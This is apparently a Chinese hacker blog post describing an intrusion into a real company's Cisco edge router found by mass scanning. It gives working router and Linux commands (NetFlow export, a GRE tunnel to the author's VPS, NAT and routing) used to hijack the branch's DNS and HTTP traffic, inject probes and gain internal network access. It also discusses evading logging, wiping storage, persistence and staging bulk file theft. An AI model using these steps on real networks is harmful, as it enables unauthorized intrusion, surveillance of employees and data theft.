去年開始利用路由器對目標內網進行滲透的方式方法開始研究，測試了一陣了。之前有一篇翻譯外國人的文章，講路由器流量劫持的，利用條件苛刻，成效也不大。所以決定寫一篇自己實測的例子。

0x01 控制路由器

現在只搞cisco的路由器，但是方法不限于cisco，華為，juniper什么的都可以。

這一步沒有什么好的辦法，我們利用分布式掃描抓到了一些路由器，再加上其他的漏洞，有了一定數量作為測試保證。

選擇一臺 cisco c800系列的小企業路由器(很老了) 

 

圖1 router version

進去之后，先查看日志，登陸認證相關信息。 

 

圖 2 router 登陸等相關信息

有一個登陸限制的acl，被我之前刪掉了，這就找到了telnet的密碼。同時沒有開啟aaa認證，也就不存在什么認證服務器什么的，就只有本地驗證。沒有任何日志服務器的配置，連snmp都沒有配置(本來還想留一個snmp的后門，看來是不行了)。

趕緊添加賬號密碼，加固路由器，修復漏洞。 

 

圖3 添加特權賬戶

0x02 網絡拓撲分析

基本操作完，趕緊保留一份完整的配置(這個不能完整的貼出來)然后分析基本網絡架構。

總述就是這是一個公司的小分部，通過pppoe加nat上網，有一個公網ip地址，有一個10.xx.xx.0/24的內網地址，通過gre的隧道，和主公司相連，擁有更為龐大的內網。

這種網絡形式是最為常見的，通過ISP撥號獲取公網地址，然后內網機器通過nat上網。全公網ip地址的公司網絡極為少見。

網絡拓撲如下： 

 

圖4 網絡拓撲示意圖#p#

0x03 準備進入內網

內網機器通過NAT訪問Google，同時內網受到NAT的保護。我們控制了R1這臺路由器，處于內網出口;還有一臺公網VPS，ubuntu12.04 。R2表示很多臺路由器，沒有控制權限。

由于想要進行內網滲透測試，需要獲取更多的信息。我們另外添加一臺公網VPS(win2008R)在上面架設流量監視服務器，分析內網日常流量和行為。

win2008搭建的是netflow服務器，在R1上配置netflow，來觀測內網流量信息。netflow軟件網上有好多，solarwind最好，支持sqlserver2005，能存儲大量的數據，沒找到破解版。我用的ManageEngine，到處都是破解版。

netflow配置：

ip flow-export so int e 0
ip flow-ex dst 1.1.1.1 8888
ip flow-ex ver 5
……

流量分析比較直觀，公司日常工作流量都是通過GRE Tunnel到達主網絡，日常流量以http和https為主，而且通過流量統計可以看出來，他們的dns絕大多數都是Google public dns，占了所有dns流量的90%以上。 

圖6 目標網絡流量總覽圖 

 

圖7 流量分類示意圖

統計出來的web流量，嘗試去打開這些網頁，我都打不開，都是提示404 Not Found或者就是證書錯誤。這樣看不見到底訪問的是什么網站，Google也都沒有搜索記錄，就只能勉強看一下bing的同站，結果記錄還是特別少。

為了摸清這個內網更為詳細的信息(公司叫什么名字，員工經常登陸什么網站，常用軟件是什么)，就只能先劫持一下DNS了。由于網絡環境比較惡略，有個NAT使得網絡復雜太多。所以不選擇使用透明劫持方式，選擇用網關劫持方式。

做一下名詞解釋：

透明劫持方式：自定義名詞，即不修改數據包的源IP地址和目的IP地址，只對數據包的data和checksum進行修改。這樣基本不會讓用戶和服務器引起任何察覺，做到完全透明，同時無法被殺軟防火墻IPS之類的發覺，除了增加一些延遲。

網關劫持方式：顧名思義，就是作為一個網關，對經過我的流量進行路由和NAT，使得流量能夠正常在Internet上傳輸。會產生較大的影響，以Gmail為例，會提示異地登陸等。

關于劫持有一條準側(我總結的)：在有防火墻或者NAT的環境中劫持流量，你在哪把數據包接走，必須得把數據包(被劫持的數據包或者該數據包的回包)送回到那里。

這里做一下解釋，在NAT上網的環境中做GRE通道的流量劫持，會很麻煩。出方向數據包通過路徑為先進入GRE Tunnel，然后作為一個GRE 數據包通過NAT，也就是NAT只對GRE數據包生效，并且記錄下狀態，不會對被包含在GRE 中的數據包進行NAT，所以入方向，無法通過NAT。 這樣的解釋適用于防火墻。

因為編程能力有限等考慮，決定使用網關劫持模式。

在R1的連接公網的端口和我的Linux eth0 建立GRE Tunnel

Linux IP 地址：1.1.1.1

路由器公網IP地址：2.2.2.2

R1的配置

en
conf t
int tunnel 1
tunnel so e0(接口名稱，也可以使用接口IP地址，但是會出問題)
tunnel dest 1.1.1.1
ip add 12.1.1.1 255.255.255.252
end

linux Ubuntu 配置： 建立GRE Tunnel

#modprobe ip_gre
#lsmode | grep
#ip tunnel add gre1 mode gre remote 2.2.2.2 local 1.1.1.1 ttl 255
#ip link set gre1 up
#ip addr add 12.1.1.2 peer 12.1.1.1 dev gre1

在Tunnel的兩端都PING一下對端的IP地址，應該都是通的。

然后開啟路由轉發

將 /proc/sys/net/ip_forward 的數值修改為 1 (本次有效，重啟后失效)

修改 /etc/sysctl.conf 文件，讓包轉發在系統啟動時生效

net.ipv4.ip_forward = 1 前面的#號去掉

開啟Iptables 的NAT

#iptables -t nat -A POSTROUTING -s 192.168.1.0/25 -j SNAT —to-source 202.103.224.58

192的地址為需要做NAT的地址，202地址為已有公網IP地址，配置單詞生效，重啟后失效。

保存iptables 的規則 。

#service iptables save

添加內網路由

route add -net 10.0.0.0/8 gre1

通往10.0.0.0這個八位的網絡全部走gre1這個出口，即全部走GRE隧道。

然后利用我們自己開發的軟件獲取DNS數據內容 ，內容不方便貼出。

劫持了幾天dns，看他們上了幾天網之后，對內網有了個更為清楚的認識。進一步對HTTP數據包進行修改，加了個探針。探明之后再準備加入EXP獲取內網權限，結果都是chrome，就放棄了。探針信息不方便貼出。

流量中還有telnet，ssh這類的流量，但是不能劫持，目的地址做了acl的限制，我的Linux不能訪問，直接refuse。#p#

0x04 進入內網

流量不能幫我獲取內網權限，就只能自己進入內網。

強制劫持一個內網沒有人用的合法IP地址，通過連接linux openVPN分配給自己，剩下只要在路由器添加這個地址的主機路由和在Linux上添加到10.xx.xx.xx/8 的默認路由，然后我的WorkStation就獲得了內網訪問權限(沒有像VPN什么的限制，訪問權限等同于路由器權限)。

如何讓自己的WorkStation進入內網就是很隨意的了，方法實在是太多，因為此時這臺Ubuntu已經在內網中。openVPN配置和添加路由配置就不貼出了，網上太多。 

 

圖8 驗證Ubuntu于內網的連通性

這樣的內網滲透是有以下幾個優點：

你所有的流量會被內網流量設備認為是內網流量，流量稍微大一點的內網，你可以隨意下載文件，不用再關心流量過大引起報警。(理論，沒脫過文件)

在路由器上做好隱藏，規避netflow監測，去掉日志，在臨走的時候直接erease所有的存儲器，你的行為在內網不可查。(理論，沒做過)

如果地址劫持的合適，能繞過內網服務器的登陸限制(三層限制)。

時間把握的好，可以制造內網某員工從文件服務器大量下載文件的假象。(理論，沒做過)

缺點

就一個，數據包不加密，這點很煩人，數據包基本全透明。要是路由器外沒有安全設備了或者直接做一個IPSec Tunnel，就等同于沒缺點。

總結，就是擁有極高的隱蔽性，遠高于VPN，馬什么的。連日志服務器都可以不怎么理他。

本文標題為邁入內網，并非內網滲透，不做內網滲透相關研究。

所有的敏感的信息已經修改涂掉。

0x05 后話

其他的一些小討論

關于鏈路延遲，研究比較多，需要多說一點。以我劫持的Google為例，我在Google與內網路徑的附近，并且是靠近Google的一端。

到Google的延遲平均為0.617ms 

 

圖9 Ubuntu 到Google延遲

路由器到Linux的延遲平均為256ms，路由器直接ping Google 平均延遲時180ms 

 

圖10 路由器網絡延遲截圖

Linux處理劫持數據，修改數據包的軟件延遲約為5ms，所以預估劫持之后的延遲應該在260ms左右。

但是，經過劫持之后，到目標的延遲為248，該數值小于256ms+0.6ms+5ms，至于為什么，無法解釋。

總體延遲影響，增加了180ms的三分之一，60ms左右。

之前我們對延遲有過較多的討論：增加了延遲的三分之一，影響會比較明顯，容易被察覺從而引發報警。我個人認為，大家上百度比平時延遲增加了500ms，或是1s，就算是baidu的運維，在檢查完IP地址，看完tracert之后，也就罵罵運營商。更何況一般網絡用戶不會認為是運營商的問題，只會認為是不是自己電腦卡了，可能有人懷疑自己被網絡劫持了么。

關于內網路由器的討論，本文研究的路由器為網絡邊界路由器，至少有一個公網IP地址。當路由器或者三層交換處于內網中，劫持能否使用，答案是可以的。通過建立七層應用層隧道(GRE為三層網絡層隧道)，就像我們個人電腦一樣，穿過內網?；蛘咧苯油瑑染W的一臺服務器建立連接，劫持數據(經過驗證，但是公網測試時，對端是一臺公網CISCO路由器2911，沒試過服務器，開發能力有限)。

如果需要穿透內網，需要應用層VPN，例如IPSec VPN，EZ VPN (我測試了這倆，其他的高于三層的VPN都理論可行)等，配置比GRE Tunnel復雜的多，但懂了原理配置還是很簡單的。配置實在是貼不完。IP Sec VPN理論上應該可以向IP Sec VPN 服務器建立連接，我沒成功，還在理論層面研究。EZ VPN ，CISCO專有，肯定不能在WIN或者linux上搭建服務器。

關于駐留，通過路由器擴展內網駐留或者路由器后門駐留，比馬什么的好太多了，除了NSA和fireeye，沒聽說過誰接觸過過路由器后門的。國內絕對是通殺，會配置路由器的都沒幾個人，更別說反查。

關于HTTPS的討論：綠標這個問題確實比較頭疼，我目前嘗試能過的就是嵌套，在綠標中插入紅標，最后用戶看到的還是綠標。

關于流量劫持軟件，網上都說劫持軟件多如牛毛，但是實際上找下來，就沒有一個可以拿來直接用的，尤其是在透明劫持這個模式下，沒發現能直接用的，像什么MITMproxy什么什么的，大家都說好，實際測試一下，也就適合開發人員調試軟件，所以只能自己開發，但是開發能力有限。

希望大家推薦一些，能效率很高的處理大流量(例如BGP劫持)的軟件。